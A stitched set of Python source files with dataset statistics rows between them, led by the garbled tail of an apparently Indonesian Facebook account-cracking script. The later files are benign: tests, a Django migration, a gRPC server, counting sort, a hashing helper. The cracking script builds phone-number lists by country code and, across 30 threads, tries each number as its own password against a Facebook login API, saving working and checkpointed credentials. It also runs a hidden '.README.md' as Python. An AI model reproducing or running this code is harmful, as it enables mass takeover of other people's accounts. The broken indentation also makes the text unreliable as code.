idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="9":
os.system("clear")
print (logo)
print("60, 76, 73, 64, 69, 77, 65, 61, 75, 68")
try:
c = raw_input(" Masukan Kode : ")
k="+34"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="10":
os.system("clear")
print (logo)
print("66, 69, 78, 79, 60, 72, 67, 53, 51")
try:
c = raw_input(" Masukan Kode : ")
k="+48"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="11":
os.system("clear")
print (logo)
print("\033[1;93m01, ~to~~, 49")
try:
c = raw_input(" Masukan Kode : ")
k="+1"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="12":
os.system("clear")
print (logo)
print("\033[1;93m82,57,89,56,81")
try:
c = raw_input(" Masukan Kode : ")
k="+1"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="13":
os.system("clear")
print (logo)
print("\033[1;93m901, 902, 903, 930, 933, 935, 936, 937, 938, 939")
try:
c = raw_input(" Masukan Kode : ")
k="+98"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="14":
os.system("clear")
print (logo)
print("\033[1;93m69,693,698,694,695")
try:
c = raw_input(" Masukan Kode : ")
k="+3069"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="15":
os.system("clear")
print (logo)
print("\033[1;96m070, 071, 079, 072, 073, 078, 077, 076, 074, 075")
try:
c = raw_input(" Masukan Kode : ")
k="+93"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="16":
os.system("clear")
print (logo)
print("\033[1;93m11, 21, 57, 41, 15, 52, 31, 23")
try:
c = raw_input(" Masukan Kode : ")
k="+963"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="17":
os.system("clear")
print (logo)
print("\033[1;96m322, 264, 416, 272, 472, 382, 312")
try:
c = raw_input(" Masukan Kode : ")
k="+90"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="18":
os.system("clear")
print (logo)
print("\033[1;96m079, 078, 073, 074")
try:
c = raw_input(" Masukan Kode : ")
k="+964"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="19":
os.system("clear")
print (logo)
print("\033[1;96m3, 2, 1, 4")
try:
c = raw_input(" Masukan Kode : ")
k="+33"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="20":
os.system("clear")
print (logo)
print("\033[1;93m67, 68, 69")
try:
c = raw_input(" Masukan Kode : ")
k="+355"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="21":
os.system("clear")
print (logo)
print("\033[1;96m49, 27, 43, 21,33, 49,26, 34,27,38, 29")
try:
c = raw_input(" Masukan Kode : ")
k="+213"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="22":
os.system("clear")
print (logo)
print("\033[1;95m8, 7, 3")
try:
c = raw_input(" Masukan Kode : ")
k="+376"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="23":
os.system("clear")
print (logo)
print("\033[1;95m22, 43, 23,53, 46,52, 38")
try:
c = raw_input(" Masukan Kode : ")
k="+374"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="24":
os.system("clear")
print (logo)
print("\033[1;95m366, 342, 362,365, 349")
try:
c = raw_input(" Masukan Kode : ")
k="+995"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="25":
os.system("clear")
print (logo)
print("\033[1;95m4, 5")
try:
c = raw_input(" Masukan Kode : ")
k="+354"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="26":
os.system("clear")
print (logo)
print("\033[1;95m139, 138, 137, 138")
try:
c = raw_input(" Masukan Kode : ")
k="+86"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="27":
os.system("clear")
print (logo)
print("\033[1;95m2, 7, 5")
try:
c = raw_input(" Masukan Kode : ")
k="+975"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="28":
os.system("clear")
print (logo)
print("\033[1;95m11")
try:
c = raw_input(" Masukan Kode : ")
k="+976"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="29":
os.system("clear")
print (logo)
print("\033[1;95m9, 24")
try:
c = raw_input(" Masukan Kode : ")
k="+64"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="30":
os.system("clear")
print (logo)
print("\033[1;95m 21, 41, 183, 81")
try:
c = raw_input(" Masukan Kode : ")
k="+249"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="A":
os.system("clear")
print (logo)
print("\033[1;95m 40, 41, 42, 43, 44, 45, 46, 47, 48")
try:
c = raw_input(" Masukan Kode : ")
k="+92"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="B":
os.system("clear")
print (logo)
print("\033[1;91m 10, 11, 12, 13, 14, 15, 16, 17, 18")
try:
c = raw_input(" Masukan Kode : ")
k="+92"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="C":
os.system("clear")
print (logo)
print("\033[1;91m 00, 01, 02, 03, 04, 05, 06")
try:
c = raw_input(" Masukan Kode : ")
k="+92"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="D":
os.system("clear")
print (logo)
print("\033[1;91m 16, 17, 18")
try:
c = raw_input(" Masukan Kode : ")
k="+80"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="E":
os.system("clear")
print (logo)
print("\033[1;91m 13, 14, 15,16, 18")
try:
c = raw_input(" Masukan Kode : ")
k="+80"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="F":
os.system("clear")
print (logo)
print("\033[1;91m 14, 19")
try:
c = raw_input(" Masukan Kode : ")
k="+80"
idlist = ('.txt')
for line in open(idlist,"r").readlines():
id.append(line.strip())
except IOError:
print ("[!] File Not Found")
raw_input("\n[ Back ]")
menu()
elif bch =="0":
os.system('rm -rf login.txt')
keluar()
xxx = str(len(id))
print ('[✓] Total Nomor: '+xxx)
time.sleep(0.1)
print ('\033[1;91m[✓]\033[1;94m Mohon Tunggu Proses Sedang Berjalan ...')
time.sleep(0.1)
print ('[!] Untuk Menghentikan Proses Tekan CTRL Lalu Tekan z')
time.sleep(0.5)
print 42*"\033[1;91m="
def main(arg):
global cpb,oks
user = arg
try:
os.mkdir('save')
except OSError:
pass
try:
pass1 = user
data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password=' + pass1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;92m[Successful]\033[1;95m ' + k + c + user + ' >>> ' + pass1+'\n'+"\n"
okb = open('save/successfull.txt', 'a')
okb.write(k+c+user+'>>>'+pass1+'\n')
okb.close()
oks.append(c+user+pass1)
else:
if 'www.facebook.com' in q['error_msg']:
print '\033[1;93m[Checkpoint]\033[1;96m ' + k + c + user + ' >>> ' + pass1+'\n'
cps = open('save/checkpoint.txt', 'a')
cps.write(k+c+user+'>>>'+pass1+'\n')
cps.close()
cpb.append(c+user+pass1)
except:
pass
p = ThreadPool(30)
p.map(main, id)
print 42*"\033[1;91m="
print '[✓]\033[1;93m Process Telah Selesai ...'
print '[✓]\033[1;92m Total OK/\033[1;96mCP : '+str(len(oks))+'/'+str(len(cpb))
print('[✓]\033[1;91m CP File Telah Disimpan : save/checkpoint.txt')
raw_input('\n[Press Enter To Go Back]')
os.system('python2 .README.md')
if __name__ == '__main__':
login()
| 32.554908 | 321 | 0.546191 | 5,646 | 39,131 | 4.266738 | 0.147892 | 0.055293 | 0.029141 | 0.033624 | 0.597675 | 0.550809 | 0.516106 | 0.456787 | 0.416895 | 0.378995 | 0 | 0.130271 | 0.186093 | 39,131 | 1,201 | 322 | 32.582015 | 0.533737 | 0.003246 | 0 | 0.59292 | 0 | 0.076991 | 0.473764 | 0.192551 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.061947 | 0.007965 | null | null | 0.190265 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
675953426b8a2cfea908ad1e63c4c3aef28bc297 | 1,339 | py | Python | tests/test_match.py | themadsens/qfc | 94440e18ef53c1913011f6352c8f4e0f03a006dd | [
"MIT"
] | 600 | 2015-07-13T13:34:29.000Z | 2022-02-04T22:26:00.000Z | tests/test_match.py | themadsens/qfc | 94440e18ef53c1913011f6352c8f4e0f03a006dd | [
"MIT"
] | 38 | 2015-07-13T00:32:12.000Z | 2020-08-13T12:00:47.000Z | .qfc/tests/test_match.py | zhangdanyangg/dotfiles | 69231600c28a989fe20814ccb171860e05951dbf | [
"MIT"
] | 29 | 2015-07-25T10:29:49.000Z | 2021-12-26T12:50:33.000Z | import sys
import os
sys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)),'..'))
from qfc.core import filter_files, get_weight
def _equals(marks_list1, marks_list2):
l1 = sorted(marks_list1)
l2 = sorted(marks_list2)
if len(l1) != len(l2):
return False
for i,_ in enumerate(l1):
if l1[i] != l2[i]:
return False
return True
def test_filter_files():
files = [
'/',
'/a/',
'/b/',
'/a/b',
'/a/b/c',
'/b/a/',
'/b/a/c',
'd',
'da'
]
assert(_equals(filter_files(files,''), ['/','d','da']))
assert(_equals(filter_files(files,'/'), ['/']))
assert(_equals(filter_files(files,'a'), ['/a/', '/b/a/', 'da']))
def test_weight():
assert(get_weight('a','') == 1001)
assert(get_weight('a/','') == 1000)
assert(get_weight('a/b/','') == 2000)
assert(get_weight('a/b/c','') == 3001)
assert(get_weight('a','a') == 1001)
assert(get_weight('ab','a') == 1021)
assert(get_weight('bab','a') == 1111)
assert(get_weight('a_b','a') == 1011)
assert(get_weight('root/a_b','a') == 2011)
assert(get_weight('root/a_b_c_d_e_f_g_h_i_j_k','k') == 2091)
assert(get_weight('a/b/c/d/e/f/g/h/i/j/k','k') == 10001)
assert(get_weight('a/B/','b') == 2000)
| 27.326531 | 78 | 0.534727 | 200 | 1,339 | 3.355 | 0.295 | 0.174367 | 0.268256 | 0.19076 | 0.414307 | 0.23696 | 0.128167 | 0.035768 | 0.035768 | 0.035768 | 0 | 0.058196 | 0.230022 | 1,339 | 48 | 79 | 27.895833 | 0.592629 | 0 | 0 | 0.04878 | 0 | 0.02439 | 0.103216 | 0.035153 | 0 | 0 | 0 | 0 | 0.365854 | 1 | 0.073171 | false | 0 | 0.073171 | 0 | 0.219512 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
676f702536da0484a4b6cf00d7910fa8442b94cd | 517 | py | Python | app/query/migrations/0005_auto_20180612_1316.py | scanner-research/esper-tv | 179ef57d536ebd52f93697aab09bf5abec19ce93 | [
"Apache-2.0"
] | 5 | 2019-04-17T01:01:46.000Z | 2021-07-11T01:32:50.000Z | app/query/migrations/0005_auto_20180612_1316.py | scanner-research/esper-tv | 179ef57d536ebd52f93697aab09bf5abec19ce93 | [
"Apache-2.0"
] | 4 | 2019-11-12T08:35:03.000Z | 2021-06-10T20:37:04.000Z | app/query/migrations/0005_auto_20180612_1316.py | scanner-research/esper-tv | 179ef57d536ebd52f93697aab09bf5abec19ce93 | [
"Apache-2.0"
] | 1 | 2020-09-01T01:15:44.000Z | 2020-09-01T01:15:44.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.11 on 2018-06-12 13:16
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('query', '0004_auto_20180612_1255'),
]
operations = [
migrations.RemoveField(
model_name='canonicalshow',
name='is_prime_time',
),
migrations.RemoveField(
model_name='canonicalshow',
name='is_weekend',
),
]
| 21.541667 | 46 | 0.599613 | 52 | 517 | 5.711538 | 0.730769 | 0.141414 | 0.175084 | 0.20202 | 0.329966 | 0.329966 | 0.329966 | 0 | 0 | 0 | 0 | 0.087193 | 0.290135 | 517 | 23 | 47 | 22.478261 | 0.722071 | 0.12766 | 0 | 0.375 | 1 | 0 | 0.171875 | 0.051339 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.125 | 0 | 0.3125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
6770937cd4894bd6f246d1748ca0ffcbf9815e38 | 651 | py | Python | grpc-backend.py | ccieliu/servicemesh | d5bcec0c073408f8462739c449d809192a9e4301 | [
"Apache-2.0"
] | null | null | null | grpc-backend.py | ccieliu/servicemesh | d5bcec0c073408f8462739c449d809192a9e4301 | [
"Apache-2.0"
] | null | null | null | grpc-backend.py | ccieliu/servicemesh | d5bcec0c073408f8462739c449d809192a9e4301 | [
"Apache-2.0"
] | null | null | null | from concurrent import futures
import logging
import grpc
import helloworld_pb2
import helloworld_pb2_grpc
import socket,os
class Greeter(helloworld_pb2_grpc.GreeterServicer):
def SayHello(self, request, context):
return helloworld_pb2.HelloReply(message='%s,%s' % (socket.gethostname(),os.environ['APP_VERSION']))
def serve():
server = grpc.server(futures.ThreadPoolExecutor(max_workers=10))
helloworld_pb2_grpc.add_GreeterServicer_to_server(Greeter(), server)
server.add_insecure_port('[::]:50051')
server.start()
server.wait_for_termination()
if __name__ == '__main__':
logging.basicConfig()
serve()
| 24.111111 | 108 | 0.751152 | 78 | 651 | 5.948718 | 0.576923 | 0.140086 | 0.109914 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.021314 | 0.135177 | 651 | 26 | 109 | 25.038462 | 0.802842 | 0 | 0 | 0 | 0 | 0 | 0.052227 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.333333 | 0.055556 | 0.555556 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
67723cae02fd227300c45a76e858273c9a6c4f43 | 442 | py | Python | plot_pointcloud.py | smfirmin/DeepLearningFinalProject | 03c125f2e64bdad2282ff799b8a6ce4e75427362 | [
"MIT"
] | null | null | null | plot_pointcloud.py | smfirmin/DeepLearningFinalProject | 03c125f2e64bdad2282ff799b8a6ce4e75427362 | [
"MIT"
] | 1 | 2021-12-11T23:32:56.000Z | 2021-12-11T23:32:56.000Z | plot_pointcloud.py | smfirmin/DeepLearningFinalProject | 03c125f2e64bdad2282ff799b8a6ce4e75427362 | [
"MIT"
] | 1 | 2021-11-28T04:23:07.000Z | 2021-11-28T04:23:07.000Z | # from __future__ import print_function
import os
import os.path
import numpy as np
from plyfile import PlyData
import argparse
import matplotlib.pyplot as plt
import numpy as np
import open3d as o3d
def main():
cloud = o3d.io.read_point_cloud("./ModelNet40/airplane/test/airplane_0627.ply") # Read the point cloud
o3d.visualization.draw_geometries([cloud]) # Visualize the point cloud
if __name__ == "__main__":
main()
| 22.1 | 106 | 0.755656 | 64 | 442 | 4.953125 | 0.5625 | 0.094637 | 0.082019 | 0.094637 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.027174 | 0.167421 | 442 | 19 | 107 | 23.263158 | 0.834239 | 0.190045 | 0 | 0.153846 | 0 | 0 | 0.148997 | 0.126075 | 0 | 0 | 0 | 0 | 0 | 1 | 0.076923 | false | 0 | 0.615385 | 0 | 0.692308 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
6773887fd8858e414598aee1377b2362883ce7e4 | 303 | py | Python | 2_Sorting_and_Order_Statistics/Counting_Sort.py | ashwek/python | 92504ee36fafee3fb54f0d291f85b420b34e5c45 | [
"MIT"
] | 3 | 2019-07-22T05:43:45.000Z | 2019-08-06T15:04:28.000Z | 2_Sorting_and_Order_Statistics/Counting_Sort.py | ashwek/python | 92504ee36fafee3fb54f0d291f85b420b34e5c45 | [
"MIT"
] | 1 | 2018-10-14T16:32:06.000Z | 2018-10-14T16:34:31.000Z | 2_Sorting_and_Order_Statistics/Counting_Sort.py | ashwek/Python | 92504ee36fafee3fb54f0d291f85b420b34e5c45 | [
"MIT"
] | 1 | 2019-10-18T21:37:12.000Z | 2019-10-18T21:37:12.000Z | def Counting_Sort(A, k=-1):
if(k==-1): k=max(A)
C = [0 for x in range(k+1)]
for x in A: C[x]+=1
for x in range(1, k+1):C[x]+=C[x-1]
B = [0 for x in range(len(A))]
for i in range(len(A)-1, -1, -1):
x = A[i]
B[C[x]-1] = x
C[x]-=1
return B
A = [13,20,18,20,12,15,7]
print(Counting_Sort(A))
| 20.2 | 36 | 0.521452 | 81 | 303 | 1.925926 | 0.308642 | 0.064103 | 0.153846 | 0.211538 | 0.153846 | 0 | 0 | 0 | 0 | 0 | 0 | 0.112971 | 0.211221 | 303 | 14 | 37 | 21.642857 | 0.539749 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.076923 | false | 0 | 0 | 0 | 0.153846 | 0.076923 | 0 | 0 | 1 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
6775158fcbc23f3f6bb7e473f77cf5f807d249fd | 773 | py | Python | src/parser/ContentRenderer.py | purplecode/espresso | 12fc017e6cefeabd26d18b71f14e54cb89974cbe | [
"MIT"
] | null | null | null | src/parser/ContentRenderer.py | purplecode/espresso | 12fc017e6cefeabd26d18b71f14e54cb89974cbe | [
"MIT"
] | null | null | null | src/parser/ContentRenderer.py | purplecode/espresso | 12fc017e6cefeabd26d18b71f14e54cb89974cbe | [
"MIT"
] | null | null | null | from jinja2 import Template as JinjaTemplate
class ContentRenderer(object):
def __init__(self):
self.providers = []
def addProvider(self, provider):
self.providers.append(provider)
def render(self, paragraph, templateContent, templateData):
template = JinjaTemplate(templateContent)
self.__registerProviders(paragraph, template)
return template.render(templateData)
def __registerProviders(self, paragraph, template):
for provider in self.providers:
for callable in provider.getCallables():
template.globals[callable] = self.__getCallable(callable, paragraph, provider)
def __getCallable(self, callable, paragraph, provider):
return lambda *args: getattr(provider, callable)(paragraph, *args)
| 33.608696 | 87 | 0.733506 | 76 | 773 | 7.302632 | 0.407895 | 0.07027 | 0.09009 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001572 | 0.177232 | 773 | 22 | 88 | 35.136364 | 0.871069 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.3125 | false | 0 | 0.0625 | 0.0625 | 0.5625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
678acb1afd336b0b29f5e63484234e0ef988ef37 | 454 | py | Python | Python/get_hash_password.py | alex-eri/specialistoff.net | 19b85b02d040921369bf6eebf471907d67f78992 | [
"MIT"
] | 1 | 2021-09-22T03:15:50.000Z | 2021-09-22T03:15:50.000Z | Python/get_hash_password.py | alex-eri/specialistoff.net | 19b85b02d040921369bf6eebf471907d67f78992 | [
"MIT"
] | null | null | null | Python/get_hash_password.py | alex-eri/specialistoff.net | 19b85b02d040921369bf6eebf471907d67f78992 | [
"MIT"
] | 1 | 2021-09-22T03:15:50.000Z | 2021-09-22T03:15:50.000Z | ##!/usr/bin/env python2
# -*- coding: UTF-8 -*-
import base64
import uuid
import hashlib
def get_hash_password(password, salt = None):
"""
Получить хеш пароля SHA-512
"""
if salt == None:
salt = uuid.uuid4().hex
text = password.encode('utf-8') + salt.encode('utf-8')
h = hashlib.sha512()
h.update(text)
return str(h.hexdigest())
print(get_hash_password('password'))
print(get_hash_password('password', 'salt'))
| 21.619048 | 58 | 0.638767 | 62 | 454 | 4.580645 | 0.548387 | 0.042254 | 0.158451 | 0.242958 | 0.306338 | 0 | 0 | 0 | 0 | 0 | 0 | 0.035519 | 0.193833 | 454 | 20 | 59 | 22.7 | 0.740437 | 0.156388 | 0 | 0 | 0 | 0 | 0.082192 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | false | 0.333333 | 0.25 | 0 | 0.416667 | 0.166667 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
6796cb77ef4370af265ada4e6ba8966f501a7cd4 | 1,126 | py | Python | special/models.py | opendream/asip | 20583aca6393102d425401d55ea32ac6b78be048 | [
"MIT"
] | null | null | null | special/models.py | opendream/asip | 20583aca6393102d425401d55ea32ac6b78be048 | [
"MIT"
] | 8 | 2020-03-24T17:11:49.000Z | 2022-01-13T01:18:11.000Z | special/models.py | opendream/asip | 20583aca6393102d425401d55ea32ac6b78be048 | [
"MIT"
] | null | null | null | from django.db import models
# Create your models here.
from common.constants import STATUS_PUBLISHED, STATUS_CHOICES
from common.models import AbstractPermalink, CommonTrashModel
import files_widget
class Special(CommonTrashModel, AbstractPermalink):
title = models.CharField(max_length=512)
image = files_widget.ImageField(verbose_name='Banner Image', null=True, blank=True)
status = models.IntegerField(choices=STATUS_CHOICES, default=STATUS_PUBLISHED)
created = models.DateTimeField(auto_now_add=True, null=True, blank=True)
changed = models.DateTimeField(auto_now=True, null=True, blank=True)
def __unicode__(self):
return self.permalink
def get_absolute_url(self):
return '/%s/' % self.permalink
class Page(CommonTrashModel, AbstractPermalink):
special = models.ForeignKey(Special, related_name='pages', null=True, blank=True)
status = models.IntegerField(choices=STATUS_CHOICES, default=STATUS_PUBLISHED)
created = models.DateTimeField(auto_now_add=True, null=True, blank=True)
changed = models.DateTimeField(auto_now=True, null=True, blank=True)
| 34.121212 | 87 | 0.769982 | 138 | 1,126 | 6.115942 | 0.384058 | 0.056872 | 0.092417 | 0.120853 | 0.459716 | 0.459716 | 0.459716 | 0.459716 | 0.459716 | 0.459716 | 0 | 0.00308 | 0.134991 | 1,126 | 32 | 88 | 35.1875 | 0.86345 | 0.021314 | 0 | 0.315789 | 0 | 0 | 0.019091 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.105263 | false | 0 | 0.210526 | 0.105263 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 2 |
679b2dd3f3ddffa5aaf559c5e7c0cc511a09f99b | 1,277 | py | Python | test_basePy/test_time_strftime.py | MinpLemon/studyPython | 39ab3b49ccc2fb122827de0b1fab89a53888e6b5 | [
"MIT"
] | null | null | null | test_basePy/test_time_strftime.py | MinpLemon/studyPython | 39ab3b49ccc2fb122827de0b1fab89a53888e6b5 | [
"MIT"
] | 1 | 2021-12-13T20:00:00.000Z | 2021-12-13T20:00:00.000Z | test_basePy/test_time_strftime.py | MinpLemon/studyPython | 39ab3b49ccc2fb122827de0b1fab89a53888e6b5 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2019-05-23 13:42
# @Author : minp
# @contact : king101125s@gmail.com
# @Site :
# @File : test_time_strftime.py
# @Software: PyCharm
import unittest
import time
class Test(unittest.TestCase):
"""
python中时间日期格式化符号:
%y 两位数的年份表示(00-99)
%Y 四位数的年份表示(000-9999)
%m 月份(01-12)
%d 月内中的一天(0-31)
%H 24小时制小时数(0-23)
%I 12小时制小时数(01-12)
%M 分钟数(00=59)
%S 秒(00-59)
%a 本地简化星期名称
%A 本地完整星期名称
%b 本地简化的月份名称
%B 本地完整的月份名称
%c 本地相应的日期表示和时间表示
%j 年内的一天(001-366)
%p 本地A.M.或P.M.的等价符
%U 一年中的星期数(00-53)星期天为星期的开始
%w 星期(0-6),星期天为星期的开始
%W 一年中的星期数(00-53)星期一为星期的开始
%x 本地相应的日期表示
%X 本地相应的时间表示
%Z 当前时区的名称
%% %号本身
"""
def set_time(self):
self.t = time.localtime()
# @unittest.skip('暂时跳过用例fun1的测试')
def test_fun1(self):
self.set_time()
print(time.strftime("%b %d %Y %H:%M:%S", self.t)) #May 23 2019 13:52:22
print(time.strftime("%w", self.t))
# @unittest.skip('暂时跳过用例fun2的测试')
def test_fun2(self):
print('todo')
# TODO add something
if __name__ == "__main__":
unittest.main(verbosity=2) | 22.403509 | 79 | 0.541895 | 170 | 1,277 | 3.988235 | 0.623529 | 0.053097 | 0.032448 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.101022 | 0.310102 | 1,277 | 57 | 80 | 22.403509 | 0.668558 | 0.587314 | 0 | 0 | 0 | 0 | 0.075061 | 0 | 0 | 0 | 0 | 0.017544 | 0 | 1 | 0.230769 | false | 0 | 0.153846 | 0 | 0.461538 | 0.230769 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
